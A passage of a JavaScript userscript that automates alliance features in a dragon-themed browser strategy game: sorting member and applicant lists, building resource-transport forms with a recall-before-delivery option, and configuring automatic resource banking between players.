						else Data.dynamic.players.applicants.splice(offset, 1);
						setTimeout(function() {
							dial.destroy()
						}, 1000);
						if (notify) notify(true);
						return;
					}
				}

				function onAcceptApplicant(event) {
					var t = Tabs.Alliance,
						but = event.target;
					var id = but.getAttribute('ref').split('_');
					acceptReject(but, false, true, id[0], id[1], t.show);
				}

				function onRejectApplicant(event) {
					var t = Tabs.Alliance,
						but = event.target;
					var id = but.getAttribute('ref').split('_');
					acceptReject(but, false, false, id[0], id[1], t.show);
				}

				function onRejectMember(event) {

					dialogConfirm(translate('Do you want to reject this member') + ' ?',
						/* OK */

						function() {

							var t = Tabs.Alliance,
								but = event.target;
							var id = but.getAttribute('ref').split('_');
							acceptReject(but, true, false, id[0], id[1], t.show);

						},
						/* Cancel */

						function() {}, true
					);
				}

				function sortMembList(event) {
					var t = Tabs.Alliance;
					var arg = event.target.parentNode.parentNode.id;
					if (arg == UID['tabAlliance_tal_0']) {
						if (Data.options.alliance.sort_list == '0') {
							Data.dynamic.players.memberships.sort(function(a, b) {
								return b.dist - a.dist
							});
							Data.options.alliance.sort_list = '-0';
						} else {
							Data.dynamic.players.memberships.sort(function(a, b) {
								return a.dist - b.dist
							});
							Data.options.alliance.sort_list = '0';
						}
					} else if (arg == UID['tabAlliance_tal_1']) {
						if (Data.options.alliance.sort_list == '1') {
							Data.dynamic.players.memberships.sort(function(a, b) {
								return b.x - a.x
							});
							Data.options.alliance.sort_list = '-1';
						} else {
							Data.dynamic.players.memberships.sort(function(a, b) {
								return a.x - b.x
							});
							Data.options.alliance.sort_list = '1';
						}
					} else if (arg == UID['tabAlliance_tal_2']) {
						if (Data.options.alliance.sort_list == '2') {
							Data.dynamic.players.memberships.sort(function(a, b) {
								a = a.player.toLowerCase();
								b = b.player.toLowerCase();
								if (a > b) return -1;
								if (a < b) return 1;
								return 0;
							});
							Data.options.alliance.sort_list = '-2';
						} else {
							Data.dynamic.players.memberships.sort(function(a, b) {
								a = a.player.toLowerCase();
								b = b.player.toLowerCase();
								if (a > b) return 1;
								if (a < b) return -1;
								return 0;
							});
							Data.options.alliance.sort_list = '2';
						}
					} else if (arg == UID['tabAlliance_tal_3']) {
						if (Data.options.alliance.sort_list == '3') {
							Data.dynamic.players.memberships.sort(function(a, b) {
								a = a.role.toLowerCase();
								b = b.role.toLowerCase();
								if (a > b) return -1;
								if (a < b) return 1;
								return 0;
							});
							Data.options.alliance.sort_list = '-3';
						} else {
							Data.dynamic.players.memberships.sort(function(a, b) {
								a = a.role.toLowerCase();
								b = b.role.toLowerCase();
								if (a > b) return 1;
								if (a < b) return -1;
								return 0;
							});
							Data.options.alliance.sort_list = '3';
						}
					} else if (arg == UID['tabAlliance_tal_4']) {
						if (Data.options.alliance.sort_list == '4') {
							Data.dynamic.players.memberships.sort(function(a, b) {
								return b.might - a.might
							});
							Data.options.alliance.sort_list = '-4';
						} else {
							Data.dynamic.players.memberships.sort(function(a, b) {
								return a.might - b.might
							});
							Data.options.alliance.sort_list = '4';
						}
					} else if (arg == UID['tabAlliance_tal_5']) {
						if (Data.options.alliance.sort_list == '5') {
							Data.dynamic.players.memberships.sort(function(a, b) {
								return b.joined - a.joined
							});
							Data.options.alliance.sort_list = '-5';
						} else {
							Data.dynamic.players.memberships.sort(function(a, b) {
								return a.joined - b.joined
							});
							Data.options.alliance.sort_list = '5';
						}
					}
					t.tabAllianceList();
				}

				function sortApplicantList(event) {
					var t = Tabs.Alliance;
					var arg = event.target.parentNode.parentNode.id;
					if (arg == UID['tabAlliance_taa_0']) {
						if (Data.options.alliance.sort_applicants == '0') {
							Data.dynamic.players.applicants.sort(function(a, b) {
								return b.dist - a.dist
							});
							Data.options.alliance.sort_applicants = '-0';
						} else {
							Data.dynamic.players.applicants.sort(function(a, b) {
								return a.dist - b.dist
							});
							Data.options.alliance.sort_applicants = '0';
						}
					} else if (arg == UID['tabAlliance_taa_1']) {
						if (Data.options.alliance.sort_applicants == '1') {
							Data.dynamic.players.applicants.sort(function(a, b) {
								return b.x - a.x
							});
							Data.options.alliance.sort_applicants = '-1';
						} else {
							Data.dynamic.players.applicants.sort(function(a, b) {
								return a.x - b.x
							});
							Data.options.alliance.sort_applicants = '1';
						}
					} else if (arg == UID['tabAlliance_taa_2']) {
						if (Data.options.alliance.sort_applicants == '2') {
							Data.dynamic.players.applicants.sort(function(a, b) {
								a = a.player.toLowerCase();
								b = b.player.toLowerCase();
								if (a > b) return -1;
								if (a < b) return 1;
								return 0;
							});
							Data.options.alliance.sort_applicants = '-2';
						} else {
							Data.dynamic.players.applicants.sort(function(a, b) {
								a = a.player.toLowerCase();
								b = b.player.toLowerCase();
								if (a > b) return 1;
								if (a < b) return -1;
								return 0;
							});
							Data.options.alliance.sort_applicants = '2';
						}
					} else if (arg == UID['tabAlliance_taa_3']) {
						if (Data.options.alliance.sort_applicants == '3') {
							Data.dynamic.players.applicants.sort(function(a, b) {
								return b.might - a.might
							});
							Data.options.alliance.sort_applicants = '-3';
						} else {
							Data.dynamic.players.applicants.sort(function(a, b) {
								return a.might - b.might
							});
							Data.options.alliance.sort_applicants = '3';
						}
					}
					t.tabAllianceList();
				}
			},

			/** ALLIANCE TRANSPORT SUB-TAB ***/
			tabAllianceTrans: function() {
				var t = Tabs.Alliance;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabAllianceTrans']).className = 'selected';
				document.getElementById(UID['tabAllianceTrans']).style.zIndex = 1;
				t.lastSubTab = 'tabAllianceTrans';
				t.contentType = 1;

				var m = '<div id=' + setUID('tabAlliance_Results') + ' style="height:590px">' + '	<div class=' + UID['title'] + '>' + translate('Send resources') + '</div>' + '	<div id=' + setUID('tabAlliance_Status') + ' class=' + UID['status_ticker'] + ' style="margin-bottom:5px !important">' + '	<table class=' + UID['table'] + ' width=100%>' + '		<tr class=' + UID['row_headers_left'] + ' align=left>' + '			<td align=left colspan=2>' + translate('Recipient') + ' : </td>' + '		</tr><tr>' + '			<td><div id=' + setUID('tabAlliance_TransPlayerList') + '></div></td>' + '			<td><div id=' + setUID('tabAlliance_TransTarget') + ' style="height: 17px; padding: 2px 0px;"></div></td>' + '		</tr>' + '	</table><br>' + '	<br>' + '	<table id=' + setUID('tabAlliance_TabYoyo') + ' class=' + UID['table'] + '>' + '		<tr align=left class=' + UID['row_headers_left'] + '>' + '			<td colspan=2>' + translate('Yoyo functionality') + ':&nbsp;</td>' + '		</tr>' + '		<tr align=left>' + '			<td>' + translate('Automatically recall transport 1 minute before delivery') + ':&nbsp;</td>' + '			<td><input id=' + setUID('tabAlliance_Yoyo') + ' type=checkbox ' + (Data.options.alliance.recall ? 'CHECKED' : '') + ' /></td>' + '		</tr>' + '	</table><br>' + '	<table id=' + setUID('tabAlliance_TTroops') + ' class=' + UID['table'] + '>' + '		<tr align=left class=' + UID['row_headers_left'] + '>' + '			<td colspan=4>' + translate('Troops for transport') + ':&nbsp;(' + translate('Max') + '. ' + translate('Troops') + ' ' + numf(toNum((getMusterPoint(CAPITAL.id)).max_troops), ' ') +')&nbsp;</td>' + '		</tr>' + '	</table><br>' + '	<table id=' + setUID('tabAlliance_Resources') + ' class=' + UID['table'] + ' width=100%>' + '		<tr align=left class=' + UID['row_headers_left'] + '>' + '			<td colspan=5>' + translate('Resources to transport') + ':&nbsp;</td>' + '		</tr>';

				var UIDRes = setUID('tabAlliance_Res');
				var UIDMax = setUID('tabAlliance_Max');
				var UIDRem = setUID('tabAlliance_Rem');

				for (var p = 0; p < transportable_resource_types.length; p++) {
					var num = toNum(Data.options.alliance.data.resources[transportable_resource_types[p]]);
					var actualStock = Math.round(toNum(Seed.cities[CAPITAL.id].resources[transportable_resource_types[p]]));
					var remaining = '( ' + numf(actualStock - num, ' ') + ' )';
					actualStock = numf(actualStock);
					desc = transportable_resource_types[p];
					if (transportable_resource_types[p] == 'blue_energy') desc = 'blueenergy250k';
					if(desc != 'lunar_energy' && desc != 'blueenergy250k') {
						m += '<tr><td class=right width=70px>' + translate(desc) + ' :</td>' + '	<td width=90px>' + '		<input type=text id=' + UIDRes + '_' + p + ' maxlength=10 style="width:70px" size=2 value="' + num + '"\></td>' + '	<td width=30px>' + '		<input class=small id=' + UIDMax + '_' + p + ' ref=' + p + ' type=button style="width:auto !important;" value=" Max " \></td>' + '	<td align=right width=90px>' + actualStock + '</td>' + '	<td align=right width=90px><span id=' + UIDRem + '_' + p + ' ref=' + i + '>' + remaining + '</span></td>' + '<td></td></tr>';
					}
				}
				m += '<tr><td align=right class=right>' + translate('Load capacity') + '&nbsp:</td>' + '		<td colspan=4 align=left><div id=' + setUID('tabAlliance_Total') + '></div></td>' + '	</tr>' + '</table><br>' + '<table class=' + UID['table'] + ' style="margin-top:3px" width=60%>' + '	<tr valign=top><td style="font-size:2px">&nbsp</td>' + '	</tr><tr valign=top align=center>' + '		<td width=25%><label><input id=' + setUID('tabAlliance_AdaptTrsp') + ' type=button class="' + UID['btn_green'] + '" value="' + translate('Adapt Transport') + '" /></label></td>' + '		<td width=25%><label><input id=' + setUID('tabAlliance_AdaptTSpeed') + ' type=button class="' + UID['btn_green'] + '" value="' + translate('Adapt Transp. by speed') + '" /></label></td>' + '	</tr><tr valign=top><td style="font-size:2px">&nbsp</td>' + '	</tr><tr valign=top align=center>' + '		<td width=25%><label><input id=' + setUID('tabAlliance_clearAll') + ' type=button class="' + UID['btn_green'] + '" value="' + translate('Clear all') + '" /></label></td>' + '		<td width=25%><label><input id=' + setUID('tabAlliance_Launch') + ' type=button value="' + translate('Send transport') + '" /></label></td>' + '	</tr>' + '</table>' + '<br></div>' + '<div id=' + setUID('tabAlliance_TFeedbackBox') + ' class=' + UID['status_ticker'] + ' style="margin-top:5px; margin-bottom:5px !important">' + '	<div id=' + setUID('tabAlliance_TReport') + ' style="margin-top:5px;height:165px; max-height:165px; width:540px; max-width:540px; overflow:auto;">' + '		<table id=' + setUID('tabAlliance_TMarches') + ' class=' + UID['table'] + '>' + '		</table>' + '	</div>' + '</div></div>';
				document.getElementById(UID['tabAlliance_Content']).innerHTML = m;

				document.getElementById(UID['tabAlliance_Yoyo']).addEventListener('click', function(event) {
					Data.options.alliance.recall = event.target.checked
				}, false);
				document.getElementById(UID['tabAlliance_clearAll']).addEventListener('click', onClickClearAll, false);
				document.getElementById(UID['tabAlliance_AdaptTrsp']).addEventListener('click', function() {
					onClickAdaptTrsp(1)
				}, false);
				document.getElementById(UID['tabAlliance_AdaptTSpeed']).addEventListener('click', function() {
					onClickAdaptTrsp(2)
				}, false);
				document.getElementById(UID['tabAlliance_Launch']).addEventListener('click', sendTransp, false);
				troopTable(document.getElementById(UID['tabAlliance_TTroops']), 1, 'TR', eventTroopsTransport);
				for (i = 0; i < transportable_resource_types.length; i++) {
					if(transportable_resource_types[i] != 'lunar_energy' && transportable_resource_types[i] != 'blue_energy') {
						document.getElementById(UIDRes + '_' + i).addEventListener('change', resourceChanged, false);
						butMax = document.getElementById(UIDMax + '_' + i);
						butMax.addEventListener('click', setResourceMax, false);
						setButtonStyle(butMax, true, 'btn_green');
					}
				}
				t.getMemberList();
				t.displayTotal();
				clearTimeout(t.marchTimer);
				t.marchTick();

				function troopTable(tab, rownum, prefix, listener) {
					var t = Tabs.Alliance;
					var row = [];
					row.push(tab.insertRow(rownum));
					row.push(tab.insertRow(rownum + 1));
					row.push(tab.insertRow(rownum + 2));

					var val, c = 0;
					for (var i = 0; i < transport_unit_types.length; ++i) {
						row[0].insertCell(c).innerHTML = translate(transport_unit_types[i]);
						var inp = document.createElement('input');
						inp.type = 'text';
						inp.size = '2';
						inp.style.width = '65px';
						inp.title = translate(transport_unit_types[i]);
						inp.style.border = '1px solid grey';
						inp.maxlength = '6';
						if (prefix == 'TR') {
							if (Data.options.alliance.data.transports[Names.troops.byAbbr[transport_unit_types[i]][1]] == undefined)
								Data.options.alliance.data.transports[Names.troops.byAbbr[transport_unit_types[i]][1]] = 0;
							val = toNum(Data.options.alliance.data.transports[Names.troops.byAbbr[transport_unit_types[i]][1]]);
						}
						if (!val) val = 0;
						inp.value = val;
						inp.name = prefix + '_' + i;
						inp.id = prefix + '_' + i;
						inp.addEventListener('change', listener, false);
						row[1].insertCell(c).appendChild(inp);
						var trp_cell = row[2].insertCell(c);
						var stk = numf(toNum(Seed.cities[CAPITAL.id].units[Names.troops.byAbbr[transport_unit_types[i]][1]]), ' ');
						trp_cell.className = 'jewel';
						trp_cell.innerHTML = '(&nbsp;' + stk + '&nbsp;)';
						c = c + 1;
					}
					return tab;
				}

				function eventTroopsTransport(event) {
					var t = Tabs.Alliance;
					var args = event.target.name.split('_');
					var x = toNum(event.target.value);
					if (args[0] == 'TR') {
						var troopTotGiven = 0;
						var isGood=true;
						for (var i = 0; i < transport_unit_types.length; ++i) {
							var nbTemp = toNum(document.getElementById('TR_'+i).value);
							if (isNaN(x) || x < 0) {
								isGood=false;
								document.getElementById('TR_'+i).style.backgroundColor = 'red';
							} else {
								troopTotGiven += nbTemp;
								document.getElementById('TR_'+i).style.backgroundColor = '';
							}
						}
						
						if ( troopTotGiven > (getMusterPoint(CAPITAL.id)).max_troops) {
							for (var i = 0; i < transport_unit_types.length; ++i) {
								document.getElementById('TR_'+i).style.backgroundColor = 'red';
							}
						} else {
							Data.options.alliance.data.transports[Names.troops.byAbbr[transport_unit_types[args[1]]][1]] = x;
							var tr = Data.options.alliance.data.transports;
							var tt = Names.troops.byAbbr[transport_unit_types[args[1]]][1];
							tr[tt] = event.target.value;
						}
					}
					t.playerCityDesc();
					t.displayTotal();
				}

				function onClickClearAll() {
					var t = Tabs.Alliance;
					for (var i = 0; i < transport_unit_types.length; i++)
						Data.options.alliance.data.transports[Names.troops.byAbbr[transport_unit_types[i]][1]] = 0;
					for (var r = 0; r < transportable_resource_types.length; r++) {
						Data.options.alliance.data.resources[transportable_resource_types[r]] = 0;
					}
					t.tabAllianceTrans();
				}

				function resourceChanged(event) {
					var args = event.target.id.split('_');
					var x = toNum(event.target.value);
					t.totalResources = 0;
					var actualStock = 0;
					for (var r = 0; r < transportable_resource_types.length; r++) {
						if(transportable_resource_types[r] != 'lunar_energy' && transportable_resource_types[r] != 'blue_energy') {
							if (r != args[1]) t.totalResources = toNum(t.totalResources) + toNum(Data.options.alliance.data.resources[transportable_resource_types[r]]);
							if (r == args[1]) actualStock = Math.round(toNum(Seed.cities[CAPITAL.id].resources[transportable_resource_types[r]]));
								document.getElementById(UID['tabAlliance_Res'] + '_' + r).style.backgroundColor = '';
						}
					}
					if (isNaN(x) || x < 0 || (x + toNum(t.totalResources)) > toNum(t.maxResources))
						event.target.style.backgroundColor = 'red';
					else event.target.style.backgroundColor = '';
					event.target.value = toNum(x);
					Data.options.alliance.data.resources[transportable_resource_types[args[1]]] = toNum(x);
					document.getElementById(UID['tabAlliance_Rem'] + '_' + args[1]).innerHTML = '( ' + numf(actualStock - toNum(x), ' ') + ' )';
					t.displayTotal();
				}

				function setResourceMax(event) {
					var args = event.target.id.split('_');
					var max = 0;
					var cur = toNum(Seed.cities[CAPITAL.id].resources[transportable_resource_types[args[1]]]);
					t.totalResources = 0;
					for (var r = 0; r < transportable_resource_types.length; r++)
						if (r != args[1]) t.totalResources = toNum(t.totalResources) + toNum(Data.options.alliance.data.resources[transportable_resource_types[r]]);
					max = toNum(t.maxResources) - toNum(t.totalResources);
					if (max > cur) max = cur;
					Data.options.alliance.data.resources[transportable_resource_types[args[1]]] = toNum(max);
					t.tabAllianceTrans();
				}

				function onClickAdaptTrsp(sort) {
					var t = Tabs.Alliance;
					var max_load = 0,
						total_load = 0,
						tabTrsp = [];
					/* get max load possible according to unit types and quantity */
					for (var i = 0; i < transport_unit_types.length; i++) {
						if (Names.troops.byAbbr[transport_unit_types[i]][1] == 'Porter') var load = 200;
						else if (Names.troops.byAbbr[transport_unit_types[i]][1] == 'ArmoredTransport') var load = 5000;
						else if (Names.troops.byAbbr[transport_unit_types[i]][1] == 'PackDragon') var load = 6000;
						else var load = 0;
						var qty = toNum(Seed.cities[CAPITAL.id].units[Names.troops.byAbbr[transport_unit_types[i]][1]]);
						try {
							var load = Seed.stats.unit[Names.troops.byAbbr[transport_unit_types[i]][1]].load;
							var speed = Seed.stats.unit[Names.troops.byAbbr[transport_unit_types[i]][1]].speed;
						} catch (e) {}
						tabTrsp.push({
							type: transport_unit_types[i],
							load: load,
							speed: speed,
							max_qty: qty,
							max_load: toNum(qty) * toNum(load)
						});
						max_load += (toNum(qty) * toNum(load));
					}
					/* get current total load defined to transport */
					for (var p = 0; p < transportable_resource_types.length; p++)
						total_load += toNum(Data.options.alliance.data.resources[transportable_resource_types[p]]);
					/* if maximum load possible is greater than the current total load, we adjust transport number to fit with load to transport */
					if (sort == 1)
						tabTrsp.sort(function(a, b) {
							a = a.type.toLowerCase();
							b = b.type.toLowerCase();
							if (a > b) return 1;
							if (a < b) return -1;
							return 0;
						});
					else tabTrsp.sort(function(a, b) {
						return b.speed - a.speed
					});
					if (max_load >= 0 && max_load >= total_load) {
						for (var i = 0; i < tabTrsp.length; i++) {
							var new_qty = 0;
							if (total_load >= 0) {
								if (tabTrsp[i].max_load > total_load) {
									new_qty = Math.ceil(total_load / tabTrsp[i].load);
									total_load -= new_qty * tabTrsp[i].load;
								} else {
									new_qty = tabTrsp[i].max_qty;
									total_load -= tabTrsp[i].max_load;
								}
							}
							Data.options.alliance.data.transports[Names.troops.byAbbr[tabTrsp[i].type][1]] = new_qty;
						}
					}
					t.tabAllianceTrans();
				}

				function sendTransp() {
					var dial = new ModalDialog(t.container, 300, 150, '', false);
					dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Message') + '</b></center></div>';
					dial.getContentDiv().innerHTML = translate('Sending transport');
					checkTransport(notify);

					function notify(rslt) {
						if (rslt != 'OK') {
							dial.getContentDiv().innerHTML = '<B>' + rslt + '</b>';
							dial.allowClose(true);
						} else {
							dial.getContentDiv().innerHTML = '<B> OK </b>';
							setTimeout(function() {
								dial.destroy()
							}, 1000);
							t.show();
						}
					}
				}

				function checkTransport(notify) {
					var t = Tabs.Alliance;
					var cityId = Seed.cities[CAPITAL.id].id;
					var cityIdx = CAPITAL.id;
					var target = t.getTarget(Data.options.alliance.transport_id);
					if (is_null(target)) {
						notify(translate('No Recipient Defined'));
						return;
					}
					/* check resources */
					var ress = Data.options.alliance.data.resources;
					var totRess = 0;
					for (var p in ress)
						if (ress[p] > 0) totRess += ress[p];
					if (totRess <= 0) {
						notify(translate('No resources to transport defined'));
						return;
					}
					/* check troops */
					var units = Data.options.alliance.data.transports;
					var checkUnits = checkTroops(CAPITAL.id, units);
					if (checkUnits != null) {
						notify(getErrorText(checkUnits, 'fb'));
						return;
					}
					var targMsg = '<B>' + translate('Transport sent to') + '</B> : ' + target.msg;
					verboseLog(targMsg + ' ' + translate('attempted'));
					new MyAjax.TransportMarch(cityId, target.x, target.y, units, ress, 'transport', function(rslt) {
						if (rslt.ok) {
							verboseLog(targMsg + ' ' + translate('Successfully'));
							actionLog(targMsg);
							if (Data.options.alliance.recall) {
								var m = {
									cityId: cityId,
									marchId: rslt.dat.result.job.march_id,
									run_at: rslt.dat.result.job.run_at
								};
								Data.dynamic.recall_marches.push(m);
							}
							if (notify) notify('OK');
						} else {
							verboseLog(targMsg + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg);
							if (notify) notify(translate('Error') + ': ' + rslt.errmsg);
						}
						return;
					});
				}
			},

			/** ALLIANCE AUTO-BANK SUB-TAB ***/
			tabAllianceAuto: function() {
				var t = Tabs.Alliance;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabAllianceAuto']).className = 'selected';
				document.getElementById(UID['tabAllianceAuto']).style.zIndex = 1;
				t.lastSubTab = 'tabAllianceAuto';
				t.contentType = 4;

				var m = '<div id=' + setUID('tabAlliance_Results') + '>' + '	<div class=' + UID['title'] + '>"Lost In Translation" (Auto-Bank / Auto-Yoyo)</div>' + '	<div id=' + setUID('tabAlliance_Status') + ' class=' + UID['status_ticker'] + ' style="margin-bottom:5px !important">' + '	<table class=' + UID['table'] + ' width=100%>' + '		<tr class=' + UID['row_headers_left'] + ' align=left>' + '			<td align=left colspan=2>' + translate('Recipient') + ' : </td>' + '		</tr><tr>' + '			<td><div id=' + setUID('tabAlliance_AutoPlayerList') + '></div></td>' + '			<td><div id=' + setUID('tabAlliance_AutoTarget') + ' style="height: 17px; padding: 2px 0px;"></div></td>' + '		</tr>' + '	</table><br>' + '	<table id=' + setUID('tabAlliance_TabAutoYoyo') + ' class=' + UID['table'] + '>' + '		<tr align=left class=' + UID['row_headers_left'] + '>' + '			<td colspan=2>' + translate('Yoyo functionality') + ':&nbsp;</td>' + '		</tr>' + '		<tr align=left>' + '			<td>' + translate('Automatically recall transport 1 minute before delivery') + ':&nbsp;</td>' + '			<td><input id=' + setUID('tabAlliance_AutoYoyo') + ' type=checkbox ' + (Data.options.alliance.auto.recall ? 'CHECKED' : '') + ' /></td>' + '		</tr>' + '	</table><br>' + '	<table id=' + setUID('tabAlliance_ATroops') + ' class=' + UID['table'] + '>' + '		<tr align=left class=' + UID['row_headers_left'] + '>' + '			<td colspan=4>' + translate('Troops for transport') + ':&nbsp;</td>' + '		</tr>' + '	</table><br>' + '	<table id=' + setUID('tabAlliance_AResources') + ' class=' + UID['table'] + ' width=100%>' + '		<tr align=left class=' + UID['row_headers_left'] + '>' + '			<td colspan=3>' + translate('Resources to transport') + ':&nbsp;</td>' + '			<td>' + translate('Reserves') + '</td>' + '		</tr>';

				var UIDRes = setUID('tabAlliance_ARes');
				var UIDMax = setUID('tabAlliance_AMax');
				var UIDStk = setUID('tabAlliance_AStk');
				for (var p = 0; p < transportable_resource_types.length; p++) {
					var actualStock = numf(Math.round(toNum(Seed.cities[CAPITAL.id].resources[transportable_resource_types[p]])));
					desc = transportable_resource_types[p];
					if (transportable_resource_types[p] == 'blue_energy') desc = 'blueenergy250k';
					m += '<tr><td class=right width=60px>' + translate(desc) + ' :</td>' + '	<td width=90px>' + '		<input type=text id=' + UIDRes + '_' + p + ' maxlength=10 style="width:70px" size=2 value="' + toNum(Data.options.alliance.auto.resources[transportable_resource_types[p]]) + '"\></td>' + '	<td width=30px>' + '		<input class=small id=' + UIDMax + '_' + p + ' ref=' + p + ' type=button style="width:auto !important;" value=" Max " \></td>' + '	<td align=right width=90px><div id=' + UIDStk + '_' + p + '>' + actualStock + '</div></td>' + '<td></td></tr>';
				}
				m += '<tr><td align=right class=right>' + translate('Load capacity') + '&nbsp:</td>' + '		<td colspan=4 align=left><div id=' + setUID('tabAlliance_ATotal') + '></div></td>' + '	</tr><tr>' + '		<td colspan=3 class=right>' + translate('Maximize resource to transport according to max load') + ':&nbsp;</td>' + '		<td><input id=' + setUID('tabAlliance_MaxLoad') + ' type=checkbox ' + (Data.options.alliance.auto.max_load ? 'CHECKED' : '') + ' /></td>' + '	</tr><tr>' + '		<td colspan=3 class=right>' + translate('Delay Between Transports') + ':&nbsp;</td>' + '		<td><input id=' + setUID('tabAlliance_AutoDelayMin') + ' type=text size=1 maxlength=4 value="' + Data.options.alliance.auto.delay_min + '" />' + '			 to <span id=' + setUID('tabAlliance_AutoDelayMax') + '>' + Data.options.alliance.auto.delay_max + '</span>&nbsp;' + translate('seconds') + '		</td>' + '	</tr><tr>' + '		<td colspan=3 class=right> ' + translate('Maximum simultaneous marches') + ':&nbsp;</td>' + '		<td><input id=' + setUID('tabAlliance_AutoMaxMarches') + ' type=text size=1 maxlength=2 value="' + Data.options.alliance.auto.max_marches + '" /></td>' + '	</tr>' + '</table><br><br>' + '<center><input id=' + setUID('tabAlliance_AOnOff') + ' type=button value="OnOff" /></center>' + '<br></div>' + '<div id=' + setUID('tabAlliance_FeedbackBox') + ' class=' + UID['status_ticker'] + ' style="margin-top:5px; margin-bottom:5px !important">' + '	<div id=' + setUID('tabAlliance_Feedback') + ' class=' + UID['status_feedback'] + '></div>' + '	<div id=' + setUID('tabAlliance_AReport') + ' style="margin-top:5px;height:105px; max-height:105px; width:540px; max-width:540px; overflow:auto;">' + '		<table id=' + setUID('tabAlliance_AMarches') + ' class=' + UID['table'] + '>' + '		</table>' + '	</div>' + '</div></div>';
				document.getElementById(UID['tabAlliance_Content']).innerHTML = m;

				document.getElementById(UID['tabAlliance_AutoYoyo']).addEventListener('click', function(event) {
					Data.options.alliance.auto.recall = event.target.checked
				}, false);
				document.getElementById(UID['tabAlliance_MaxLoad']).addEventListener('click', function(event) {
					Data.options.alliance.auto.max_load = event.target.checked
				}, false);
				document.getElementById(UID['tabAlliance_AutoDelayMin']).addEventListener('change', delayChanged, false);
				document.getElementById(UID['tabAlliance_AutoMaxMarches']).addEventListener('change', maxMarchesChanged, false);
				document.getElementById(UID['tabAlliance_AOnOff']).addEventListener('click', function() {
					t.setEnable(!Data.options.alliance.auto.enabled);
				}, false);
				troopTable(document.getElementById(UID['tabAlliance_ATroops']), 1, 'TR', eventTroopsTransport);
				for (i = 0; i < transportable_resource_types.length; i++) {
					document.getElementById(UIDRes + '_' + i).addEventListener('change', resourceChanged, false);
					butMax = document.getElementById(UIDMax + '_' + i);
					butMax.addEventListener('click', setResourceMax, false);
					setButtonStyle(butMax, true, 'btn_green');
				}
				t.getMemberList();
				displayTotal();
				t.setEnable(Data.options.alliance.auto.enabled);

				function delayChanged(event) {
					var min = toNum(event.target.value);
					var max = toNum(min * 1.5);
					if (min < nvl(MIN_DELAY_BETWEEN_WAVE, 10) || min > 3600) {
						event.target.style.backgroundColor = 'red';
						return;
					}
					document.getElementById(UID['tabAlliance_AutoDelayMax']).innerHTML = max;
					event.target.style.backgroundColor = '';
					Data.options.alliance.auto.delay_min = min;
					Data.options.alliance.auto.delay_max = max;
				}

				function displayTotal() {
					var t = Tabs.Alliance;
					t.totalResources = 0;
					t.maxResources = 0;
					for (var r = 0; r < transportable_resource_types.length; r++)
						t.totalResources = toNum(t.totalResources) + toNum(Data.options.alliance.auto.resources[transportable_resource_types[r]]);
					for (var i = 0; i < transport_unit_types.length; i++) {
						if (Names.troops.byAbbr[transport_unit_types[i]][1] == 'Porter')
							var load = 200;
						else if (Names.troops.byAbbr[transport_unit_types[i]][1] == 'ArmoredTransport')
							var load = 5000;
						else if (Names.troops.byAbbr[transport_unit_types[i]][1] == 'PackDragon')
							var load = 6000;
						else
							var load = 0;
						var qty = Data.options.alliance.auto.transports[Names.troops.byAbbr[transport_unit_types[i]][1]];
						try {
							var load = Seed.stats.unit[Names.troops.byAbbr[transport_unit_types[i]][1]].load;
						} catch (e) {
							actionLog('<B>' + translate('Troops load: ') + '</B>' + e.msg + ' ' + translate('Manifest not available, using defaults'));
						}
						t.maxResources = t.maxResources + (toNum(qty) * toNum(load));
					}
					var avail = numf(toNum(t.maxResources) - toNum(t.totalResources), ' ');
					document.getElementById(UID['tabAlliance_ATotal']).innerHTML = '<B>' + numf(toNum(t.totalResources), ' ') + '</B> / <B>' +
						numf(toNum(t.maxResources), ' ') + '</B> (<B>' + avail + '</B> disponible)';
				}

				function eventTroopsTransport(event) {
					var t = Tabs.Alliance;
					var args = event.target.name.split('_');
					var x = toNum(event.target.value);
					if (args[0] == 'TR') {
						if (isNaN(x) || x < 0 || x > (getMusterPoint(CAPITAL.id)).max_troops) {
							event.target.style.backgroundColor = 'red';
						} else {
							Data.options.alliance.auto.transports[Names.troops.byAbbr[transport_unit_types[args[1]]][1]] = x;
							var tr = Data.options.alliance.auto.transports;
							var tt = Names.troops.byAbbr[transport_unit_types[args[1]]][1];
							tr[tt] = event.target.value;
							event.target.style.backgroundColor = '';
						}
					}
					displayTotal();
				}

				function maxMarchesChanged(event) {
					var val = toNum(document.getElementById(UID['tabAlliance_AutoMaxMarches']).value);
					if (val < 0 || val > Seed.cities[CAPITAL.id].figures.marches.maximum) {
						event.target.style.backgroundColor = 'red';
						return;
					}
					event.target.style.backgroundColor = '';
					Data.options.alliance.auto.max_marches = val;
				}

				function resourceChanged(event) {
					var t = Tabs.Alliance;
					var args = event.target.id.split('_');
					var x = toNum(event.target.value);
					t.totalResources = 0;
					for (var r = 0; r < transportable_resource_types.length; r++)
						if (r != args[1])
							t.totalResources = toNum(t.totalResources) + toNum(Data.options.alliance.auto.resources[transportable_resource_types[r]]);
					for (i = 0; i < transportable_resource_types.length; i++)
						document.getElementById(UID['tabAlliance_ARes'] + '_' + i).style.backgroundColor = '';
					if (isNaN(x) || x < 0 || (x + toNum(t.totalResources)) > toNum(t.maxResources))
						event.target.style.backgroundColor = 'red';
					else
						event.target.style.backgroundColor = '';
					event.target.value = toNum(x);
					Data.options.alliance.auto.resources[transportable_resource_types[args[1]]] = toNum(x);
					displayTotal();
				}

				function setResourceMax(event) {
					var args = event.target.id.split('_');
					var max = 0;
					var cur = toNum(Seed.cities[CAPITAL.id].resources[transportable_resource_types[args[1]]]);
					t.totalResources = 0;
					for (var r = 0; r < transportable_resource_types.length; r++)
						if (r != args[1]) t.totalResources = toNum(t.totalResources) + toNum(Data.options.alliance.auto.resources[transportable_resource_types[r]]);
					max = toNum(t.maxResources) - toNum(t.totalResources);
					if (max > cur) max = cur;
					Data.options.alliance.auto.resources[transportable_resource_types[args[1]]] = toNum(max);
					t.tabAllianceAuto();
				}

				function troopTable(tab, rownum, prefix, listener) {
					var t = Tabs.Alliance;
					var row = [];
					row.push(tab.insertRow(rownum));
					row.push(tab.insertRow(rownum + 1));
					row.push(tab.insertRow(rownum + 2));

					var val, c = 0;
					var UIDTrpStk = setUID('tabAlliance_ATStk');
					for (var i = 0; i < transport_unit_types.length; ++i) {
